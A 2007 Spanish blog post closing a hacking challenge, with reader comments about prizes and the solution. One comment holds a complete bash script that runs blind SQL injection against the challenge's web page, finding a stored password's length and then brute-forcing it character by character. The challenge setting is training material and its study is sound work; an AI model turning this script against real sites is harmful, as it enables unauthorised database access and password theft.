martes, enero 23, 2007

Solucionario al Reto Hacking

Bueno, ya lo voy a dar por cerrado el primer reto, lo dejaré puesto para que el que quiera practique. A Dani K. que fue el segundo ganador ya le di su libro de Writting Secure Code en Valencia a David le entrego los gallumbos (calzoncillos) el 26 de Febrero en el Training Day de Madrid, a Romansoft espero verle pronto, al igual que a Dani Alonso, Xergius y Mandigo, que si no fuera por mis examenes ya estaría quedando con ellos.

En Valencia le pedí a Dani K. que me escribiera un solucionario explicativo para publicarlo, y el tipo se lo ha currado, así que os lo publico hoy en el siguiente Post.

Todos me enviaron su solución e incluso Xergius publicó su script.

http://pastebin.com/861245

Pasadlo bien!

7 comentarios:

  1. muy buena la solucion, me he entretenido bastante mientras veia la solucion y la probaba, a todo esto, cuando sacas la 2ª prueba maligno?

    ResponderEliminar
  2. Estamos en fase de pruebas y verificación. Next week!

    ResponderEliminar
  3. Gracias a Dani por escribir toda la historia para comprensión de los menos iniciados.
    Animo desde aquí a que el resto de ganadores, como en ajedrez, tengan a bien contarnos ssu jugadas maestras. :-)

    ResponderEliminar
  4. Vaya, yo me quedé probando sentencias SQL, pero en los scripts que hay por ahi perdidos vi alguna función que trabataba con carácteres (!"·$%&... de modo que pensé que había que ir por otro lado ya que si metías algo fuera de a..z 0..9 siempre daba error. Creo que la pista del hashing me despistó del todo, ya que me ofusqué en buscar contenidos cifrados en las comunicaciones, que me sonaba raro, pero como : A)No podia hacer BLINDQL y B)Había hashing por algún lado...
    ¿Cual era el jugetito del que hablabas en la intro? AL menos gracias a esto he aprendido un huevo y he aprendido a manejar a Cain (y mirá que ni Dios pudo :P) y alguna otra herramienta de inyeción sql, que por otra parte me han defraudado basante.
    Espero ansioso el siguiente. Ya te saludaré en Getafe!
    Por cierto, todo esto se evita simplemente haciendo lo que suponía no? vamos, una miserable función que analice el la consulta antes de hacerla verdad?

    ResponderEliminar
  5. La solución de Dani Alonso, de Alicante!

    #!/bin/bash
    ### Variables
    minlong=1
    maxlong=40
    charset="1234567890abcdef"

    ### Funciones

    # $1=cadena a inyectar
    chequear()
    {
    lynx -dump
    "http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and $1" |
    grep -q "Access denied"

    if [ $? -eq 0 ] ; then
    return 0
    else
    return 1
    fi
    }


    ### Programa principal

    # 1) Primero calculamos la longitud de la password
    echo -n "Calculando longitud de la password (min=$minlong, max=$maxlong) ...
    "
    for i in `seq $minlong $maxlong` ; do
    chequear "len((select contrasena from contrasena))=$i"
    if [ $? -eq 0 ] ; then
    long=$i
    break
    fi
    done

    if [ $long ] ; then
    echo -e "Ok :-)\n** La longitud de la password es: $long **"
    else
    echo -e "\nLo siento, longitud no encontrada (pruebe a aumentar la
    variable maxlong). Bye!"
    exit
    fi

    # 2) Brute force de password
    echo -e "\nAhora calcularemos el password por fuerza bruta. Esto puede
    tardar. Espere..."
    password=""
    for i in `seq 1 $long` ; do
    echo -n "#$i -> "
    longcharset=`expr length $charset`
    for j in `seq 1 $longcharset` ; do
    unset match
    char=`echo $charset | cut -b $j`

    chequear "(select contrasena from contrasena) like '$password$char%'"
    if [ $? -eq 0 ] ; then
    match=$char
    break
    fi
    done

    if [ $match ] ; then
    echo $match
    password=$password$match
    else
    echo -e "ERROR :-(\nLo siento, deber?mpliar el charset. Proceso
    abortado."
    exit
    fi
    done

    echo "** El password es: $password **"
    echo Done

    ResponderEliminar
  6. Muy buena solucion, felicidades a los premiados..

    ResponderEliminar
  7. Y las camisetas para los ganadores?? jejeje, no serán las de Inseguros.com, verdad? que de esas ya tengo una!!

    ResponderEliminar